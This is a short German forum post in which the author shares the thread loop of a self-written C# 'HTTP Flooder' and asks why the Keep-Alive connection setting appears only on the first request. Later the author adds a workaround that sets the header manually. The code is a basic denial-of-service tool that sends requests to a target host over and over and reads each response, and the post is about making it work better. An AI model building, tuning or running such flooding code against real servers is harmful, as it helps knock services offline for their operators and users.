Hi,
ich hab mir nen HTTP Flooder in C# geschrieben und hier ist der Code, den die Threads ausführen:
Mein Problem ist, dass immer nur im 1. HTTP Paket, das gesendet wird die Connection auf Keep-Alive steht. Selbst, wenn der Server es nicht zulassen würde oder so müsste der Request doch eigentlich genau wie definiert gesendet werden?Code:while (this.Flooding == true) { // Create a request HttpWebRequest request = (HttpWebRequest)WebRequest.Create(this.Host); // Set the request to keep alive request.KeepAlive = true; // Get Response HttpWebResponse response = (HttpWebResponse)request.GetResponse(); // Open response stream Stream resStream = response.GetResponseStream(); // Read stream int count = 0; byte[] buf = new byte[8192]; do { count = resStream.Read(buf, 0, buf.Length); } while (count > 0); }
Falls es jemanden interessiert:
Ich hab jetzt die Variable manuell zum Header hinzugefügt - so:
request.Headers.Add("keep-alive","true");

Zitieren
